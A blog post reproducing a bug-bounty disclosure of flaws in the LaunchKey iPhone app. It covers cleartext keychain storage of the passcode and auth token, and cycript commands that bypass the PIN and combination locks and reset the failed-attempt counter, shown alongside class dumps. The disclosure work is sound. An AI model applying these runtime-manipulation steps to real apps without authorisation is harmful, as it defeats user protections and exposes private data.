Search

Search:
-::DESCRIPTION
-::DATE

Multiple Vulnerabilities on Launchkey iPhone Application | Writeup by Satish Bommisetty

Today we have POC of Multiple Vulnerabilities on LaunchKey iPhone Application found by Satish Bommisetty

Below is the writeup of the Vulnerabilities with his own words...

* Insecure Storage – passcode & auth token are stored in clear text :
LaunchKey app allows its users to set a passcode to protect their information. This passcode is stored in clear text in the keychain, which can be obtained using keychain_dumper tool.



The app also stores the authentication token in clear text in the keychain.







Passcode Lock Bypass :
====================
Once a passcode lock is set, whenever the app is relaunched it prompts for the passcode. This passcode lock can be bypassed by manipulating the iOS runtime with cycript. Before manipulating the runtime, I have decrypted the app using clutch and obtained the class information using class-dump-z.

Steps followed to bypass the passcode lock:
1. Connected to the iPhone over SSH.

2. Launched the app and noticed that it prompts for a passcode.



3. Attached LaunchKey process to cycript and obtained the view controller instance of current displaying screen.

$cycript -p LaunchKey
>v=UIApp.keyWindow.rootViewController.visibleViewController
>v
<LKPinViewController: 0x1f5d5d00>

4. Looked at the class dump for LKPinViewController interface and didn’t find any interesting methods/variables.

@interface LKPinViewController : LKLockViewController <UITextFieldDelegate> {
    NSString* pinNumber;
    BOOL creation;
    NSString* firstPin;
    int tries;
    UITextField* pinDigitOneTextField;
    UITextField* pinDigitTwoTextField;
    UITextField* pinDigitThreeTextField;
    UITextField* pinDigitFourTextField;
    UIView* pinView;
    UIImageView* background;
    UIButton* cancelButton;
    UILabel* pinLabel;
    UINavigationBar* navigationBar;
    UIImageView* lkNavLogo;
    UILabel* notMatchLabel;
    UITextField* pinField;
}
@property(retain, nonatomic) UITextField* pinField;
@property(assign, nonatomic) __weak UILabel* notMatchLabel;
@property(assign, nonatomic) __weak UIImageView* lkNavLogo;
@property(assign, nonatomic) __weak UINavigationBar* navigationBar;
@property(assign, nonatomic) __weak UIView* pinView;
@property(assign, nonatomic) __weak UIImageView* background;
@property(assign, nonatomic) __weak UITextField* pinDigitFourTextField;
@property(assign, nonatomic) __weak UITextField* pinDigitThreeTextField;
@property(assign, nonatomic) __weak UITextField* pinDigitTwoTextField;
@property(assign, nonatomic) __weak UITextField* pinDigitOneTextField;
@property(assign, nonatomic) __weak UIButton* cancelButton;
@property(assign, nonatomic) __weak UILabel* pinLabel;
-(void).cxx_destruct;
-(void)viewDidUnload;
-(void)didReceiveMemoryWarning;
-(void)dealloc;
-(void)cancelButtonTouched:(id)touched;
-(void)shakeTheView;
-(void)viewDidLoad;
-(void)animationDidStop:(id)animation finished:(BOOL)finished;
-(void)showConfirmFields;
-(void)savePinToKeychain:(id)keychain;
-(BOOL)textField:(id)field shouldChangeCharactersInRange:(NSRange)range replacementString:(id)string;
-(id)initWithLocking;
-(id)initWithVerification;
-(id)initWithRemoval;
-(id)initWithCreation;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
@end


LKPinViewController inherits LKLockViewController. Hence, methods in the parent class (LKLockViewControllerclass) can be invoked from the child class (LKPinViewController ) instance. So looked at the class dump for LKLockViewController interface and noticed an interesting method pinIsValid.


@interface LKLockViewController : GAITrackedViewController {
    NSNumber* AppId;
    BOOL removing;
    MBProgressHUD* hud;
    BOOL verifying;
    int yOffset;
}
@property(retain) MBProgressHUD* hud;
@property(assign) int yOffset;
@property(assign) BOOL verifying;
@property(assign) BOOL removing;
@property(retain, nonatomic) NSNumber* AppId;
-(void).cxx_destruct;
-(void)pinIsValid;
-(void)showTemporaryError:(id)error;
-(void)unpairDevice;
-(void)updateWaitingAPN:(id)apn;
-(void)didReceiveMemoryWarning;
-(void)viewDidLoad;
-(id)init;
-(id)initAsCombo;
-(id)initAsPin;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
@end


5. Invoking the pinIsValid method directly from the the cycript prompt, logged me into the app without entering the passcode.


&nbsp;&gt; [v pinIsValid]







Combination Lock Bypass :
========================
LaunchKey app allows its users to set a combination lock as an alternative to the passcode lock. Once a combo lock is set, whenever the app is relaunched it prompts the user to enter combo code to unlock. This combo lock can be  bypassed by manipulating the iOS runtime with cycript.

Steps followed to bypass the combo lock:
1. Connected to the iPhone over SSH.

2. Launched the app and noticed that it displays the combo lock.





3. Attached LaunchKey process to cycript and obtained the view controller instance of currently displaying screen.


$cycript -p LaunchKey
> UIApp.keyWindow.rootViewController.visibleViewController
> l=_
<LKComboLockViewController: 0x1e1c9680>

4. Looked at the class dump for LKComboLockViewController interface and noticed an interesting method comboDismissed.



@interface LKComboLockViewController : LKLockViewController {
    BOOL creation;
    int tries;
    UIImageView* background;
    UINavigationBar* navigationBar;
    UIImageView* lkNavLogo;
    UILabel* combinationLabel;
    UIButton* cancelButton;
    UILabel* detailsLabel;
    LKCombinationLock* combo;
}
@property(retain, nonatomic) LKCombinationLock* combo;
@property(assign, nonatomic) __weak UILabel* detailsLabel;
@property(assign, nonatomic) __weak UIButton* cancelButton;
@property(assign, nonatomic) __weak UILabel* combinationLabel;
@property(assign, nonatomic) __weak UIImageView* lkNavLogo;
@property(assign, nonatomic) __weak UINavigationBar* navigationBar;
@property(assign, nonatomic) __weak UIImageView* background;
-(void).cxx_destruct;
-(void)didReceiveMemoryWarning;
-(void)comboValid;
-(void)shakeTheView;
-(void)invalidComboTry;
-(void)invalidComboSet;
-(void)cancelButtonTouched:(id)touched;
-(void)comboDismissed;
-(void)comboUnlocked;
-(void)comboSetAndDismissed;
-(void)comboSet;
-(void)firstComboSet;
-(void)combosDoNotMatch;
-(id)initWithVerification;
-(id)initWithLocking;
-(id)initWithRemoval;
-(id)initWithCreation;
-(void)viewDidLoad;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
@end



5. Invoking the comboDismissed method directly from the the cycript prompt, logged me into the app without entering the combo lock code.


> [l comboDismissed]







Passcode bruteforce limit bypass :
==============================
When a passcode lock is set, LaunchKey app provides an option to unpair the device after 10 failed passcode attempts. The app is keeping track of the number of attempts in a variable. This bruteforce restriction can be bypassed by changing the variable value in runtime using cycript.





Steps followed to bypass the bruteforce limit:
1. Connected to the iPhone over SSH.

2. Turned on PIN lock and selected unpair after 10 option.

3. Closed and reopened the app. It prompted for a passcode.

4. Entered wrong passcode for 9 times.

5. Attached LaunchKey process to cycript and obtained the view controller of currently displaying screen.

$cycript -p LaunchKey
> UIApp.keyWindow.rootViewController
> n=_
> n.visibleViewController
> v=_
 <LKPinViewController: 0x1f5d5d00>

6. Looked at the class dump for LKPinViewController interface and noticed an interesting variable tries.


@interface LKPinViewController : LKLockViewController <UITextFieldDelegate> {
    NSString* pinNumber;
    BOOL creation;
    NSString* firstPin;
    int tries;
    UITextField* pinDigitOneTextField;
    UITextField* pinDigitTwoTextField;
    UITextField* pinDigitThreeTextField;
    UITextField* pinDigitFourTextField;
    UIView* pinView;
    UIImageView* background;
    UIButton* cancelButton;
    UILabel* pinLabel;
    UINavigationBar* navigationBar;
    UIImageView* lkNavLogo;
    UILabel* notMatchLabel;
    UITextField* pinField;

7. Printed the value stored in tries variable and confirmed that it is the variable keeping track of passcode failed attempts.


&gt; v.tries
 &nbsp;9


8. Changed the value to 0.

> v.tries=0



Now you can try another 9 attempts. This would allow to bruteforce the passcode without unpairing the device.

Launchkey security team is very friendly and they fixed all the vulnerabilities within short time.  I have received 800$ in total for all the vulnerabilities as a bounty. 

0 comments:

Post a Comment

Powered by Blogger.

Popular Posts